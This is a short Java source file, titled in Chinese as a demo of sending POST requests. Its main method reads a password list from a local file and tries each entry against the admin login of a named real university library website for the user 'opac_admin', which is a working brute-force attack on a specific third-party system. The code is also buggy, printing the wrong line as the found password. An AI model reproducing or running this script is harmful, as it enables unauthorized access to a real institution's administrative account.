用java模拟发送post请求
package com.bytestream.practice.demo;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.URL;
import java.net.URLConnection;
public class SimulateSendPost {
public static void main(String[] args) throws IOException {
/*
* User user1 = new User(); user1.setName(123); User user2 = new User();
* user2 = user1; user2.setEmail("284135112@qq.com");
* System.out.println("对象/t用户名/t邮箱"); System.out.println("user1/t" +
* user1.getName() + "/t" + user1.getEmail());
* System.out.println("user2/t" + user2.getName() + "/t" +
* user2.getEmail());
*/
/*
* String test = "newnew"; System.out.println(test.substring(0, 6));
*/
File file = new File("G:\pass3.txt");
BufferedReader reader = null;
reader = new BufferedReader(new FileReader(file));
int i = 0;
String temp;
while ((temp = reader.readLine()) != null) {
String result2 = sendPost("http://lib.stdu.edu.cn/hwweb/admin/",
"passwd=" + temp.trim() + "&username=opac_admin");
if (!result2.contains("用户名或者密码错误")) {
System.out.println("密码是:" + reader.readLine());
break;
}
i++;
if (i % 200 == 0) {
System.out.println("第" + i + "次尝试...");
}
}
System.out.println("没有找到密码!");
}
public static String sendPost(String url, String param) {
PrintWriter out = null;
BufferedReader in = null;
String result = "";
try {
URL realUrl = new URL(url);
// 打开和URL之间的连接
URLConnection conn = realUrl.openConnection();
// 设置通用的请求属性
conn.setRequestProperty("accept", "*/*");
conn.setRequestProperty("connection", "Keep-Alive");
conn.setRequestProperty("user-agent",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
// 发送POST请求必须设置如下两行
conn.setDoOutput(true);
conn.setDoInput(true);
// 获取URLConnection对象对应的输出流
out = new PrintWriter(conn.getOutputStream());
// 发送请求参数
out.print(param);
// flush输出流的缓冲
out.flush();
// 定义BufferedReader输入流来读取URL的响应
in = new BufferedReader(
new InputStreamReader(conn.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
result += line;
}
} catch (Exception e) {
System.out.println("发送 POST 请求出现异常！" + e);
e.printStackTrace();
}
// 使用finally块来关闭输出流、输入流
finally {
try {
if (out != null) {
out.close();
}
if (in != null) {
in.close();
}
} catch (IOException ex) {
ex.printStackTrace();
}
}
return result;
}
}